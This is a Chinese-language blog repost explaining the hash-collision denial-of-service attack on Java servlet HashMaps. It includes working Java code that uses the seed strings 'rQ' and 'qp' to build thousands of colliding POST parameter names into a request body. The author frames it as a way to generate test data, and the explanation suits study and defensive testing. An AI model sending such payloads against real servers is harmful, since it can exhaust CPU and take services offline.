java 哈希碰撞_Hash碰撞拒绝服务攻击

java 哈希碰撞_Hash碰撞拒绝服务攻击其原理很简单 利用 hashcode 的实现机制 构造大量会产生相同 hashcode 的 key 导致 hashmap 的定位时间由 O 1 降为 0 n 也就是使 hash 表退化成链表 由于 servlet 规范里的处理 post 请求一般都采用 hashmap 存储 request 的 key 和 value 对 当处理成千上万的会产生相同 hashcode 的请求参数名时 就造成 hashmap 的定位性能急剧下降 导致 cpu 繁忙 达到

其原理很简单:利用hashcode的实现机制,构造大量会产生相同hashcode的key,导致hashmap的定位时间由O(1)降为0(n)(也就是使hash表退化成链表)。由于servlet规范里的处理post请求一般都采用hashmap存储request的key和value对,当处理成千上万的会产生相同hashcode的请求参数名时,就造成hashmap的定位性能急剧下降,导致cpu繁忙,达到拒绝服务攻击的目的。

而由于java采用DJBX33A算法产生hash值,因此很容易构造大量具有相同hashcode的值。这里探讨一下如何构造这个值。常见的有“相等字串法”和“中间相遇法”,以下援引一段别人的文字来说明这个“相等字串法”:

由于DJBX33A系列哈希算法满足一个很有意思的特性:如果hash(“string1”) = hash(“string2”),那么在相同位置包含此2个子串的父串哈希结果将会产生碰撞,既:hash(“prefix_string1_postfix”) = hash(“prefix_string2_postfix”)。根据这一特性,攻击者如果能找到最简单的两个碰撞字符串,那么就可以很快通过反复组合,生成2的n次方个长度为2n的碰撞字符串。

这个看起来实现不难哈,只要找一对可以有相同hashcode的字串,通过一定的排列组合算法就行了。假定我们要求的key的长度为10,那么就可以生产2的10次方,也就是1024个key符合我们的要求(具有相同的hashcode,但有不同的值)。这个算法怎么写呢,其实也就是算出两个字符能组合成多少个不同的N位长度的字符。比如有两个字母a 和 b,要组合成2位数,那么共有以下几种排列:ab、aa、bb、ba。是不是有点像“找出n元素的全部子集”的算法。写这个算法有些麻烦,我想了一阵,来个取巧的吧:

我们把数字转化成2进制,这样二进制的0,1就代表我们的两个字母,我们只要用我们字母替换0,1就可以了。比如要组合成4位数,那么就有16种组合,就是将从0到15之间15之间的全部数字都换成二进制, 也就是0000-1111之间的所有二进制。我们把这些二进制数字里的0和1分别用a和b替换,就是我们要的结果哈。

根据以上方法,用java很容易就可以写个生成碰撞字串的方法,而且速度也很快,生成15次方的字串的用的时间也是秒这一数量级,可以满足测试的要求:(偶找了rQ和qp这两个可以产生相同hashcode的字串作为种子)

public static final String S0 = “rQ”;

public static final String S1 = “qp”;

private static String mkHashParams(int size, String mockVal) {

Long maxVal = (long) Math.pow(2, size);

System.out.println(“size=” + maxVal + “,int val=” + maxVal.intValue());

StringBuilder sb = new StringBuilder();

String it = null;

String bInt = null;

String changedBInt = null;

for (int i = 0; i < maxVal; i++) {

it = null;

bInt = Long.toBinaryString(i);

changedBInt = bInt.replace(“0”, S0);

changedBInt = changedBInt.replace(“1”, S1);

it = changedBInt;

int tmpLength = bInt.length();

if (tmpLength < size) {

long appendLength = size – tmpLength;

it = mkAppendedStr(appendLength, it);

}

if (i > 0) {

sb.append(“&”);

}

sb.append(it);

sb.append(“=”);

sb.append(mockVal);

// System.out.println(“it=”+it+”,hash =”+it.hashCode());

}

String str = sb.toString();

write(str, “c:/d”, “hash_params.txt”);

return str;

}

private static String mkAppendedStr(long length, String it) {

StringBuilder sb = new StringBuilder();

for (int i = 0; i < length; i++) {

sb.append(S0);

}

sb.append(it);

return sb.toString();

}

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/232251.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 【技巧总结】位运算装逼指南

    【技巧总结】位运算装逼指南位算法的效率有多快我就不说,不信你可以去用10亿个数据模拟一下,今天给大家讲一讲位运算的一些经典例子。不过,最重要的不是看懂了这些例子就好,而是要在以后多去运用位运算这些技巧,当然,采用位运算,也是可以装逼的,不信,你往下看。我会从最简单的讲起,一道比一道难度递增,不过居然是讲技巧,那么也不会太难,相信你分分钟看懂。判断奇偶数判断一个数是基于还是偶数,相信很多人都做过,一般的做法的代码如下…

    2022年6月22日
    34
  • win10多合一原版系统_win10多合一原版系统[通俗易懂]

    win10多合一原版系统_win10多合一原版系统[通俗易懂]win10多合一原版系统装机系统拥有着大多数同类型定位的装机系统所没有的强大稳定性可以确保系统在运行的过程中绝对不会因为一些小毛病而出现崩溃的现象,对win10多合一原版系统装机系统感兴趣的朋友们快下载吧。win10多合一原版系统介绍:1、在不影响大多数软件和硬件操作的情况下,尽可能关闭不必要的服务。2、电脑兼容通用驱动助手,可以智能判断硬件类型并安装最兼容的驱动。3、综合2000-2020年流行…

    2022年6月16日
    85
  • Mac MAMP 使用终端shell操作mysql数据库

    Mac MAMP 使用终端shell操作mysql数据库

    2021年10月17日
    38
  • 操作系统实验五 虚拟存储器管理

    实验五虚拟存储器管理一、实验目的1、理解虚拟存储器概念。2、掌握分页式存储管理地址转换和缺页中断。二、实验内容与基本要求1、模拟分页式存储管理中硬件的地址转换和产生缺页中断。2、用先进先出页面调度算法处理缺页中断。三、实验报告内容1、分页式存储管理和先进先出页面调度算法原理。a.分页式存储管理原理  在存储器管理中,连续分配方式会形成许多“碎片”,虽然可通过“紧凑”方法将

    2022年4月7日
    66
  • Java 注解与反射

    Java 注解与反射

    2021年10月7日
    40
  • JavaScript实现哈希表数据结构[通俗易懂]

    一、简单说明1、JavaScript是没有哈希表数据结构的,那么当我们需要用到类似哈希表这样的键值对数据结构时怎么办?答案就是自己实现一个,我们可以利用JavaScript的一些特性来实现自己的哈希表数据结构。2、首先,哈希表是一种键值对数据结构,键是唯一的,这个特征跟JavaScript的Object对象有点类似,Object对象的属性是唯一的,属性和值的映射就像是键值对一样,那么我们可以用一个…

    2022年4月9日
    62

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号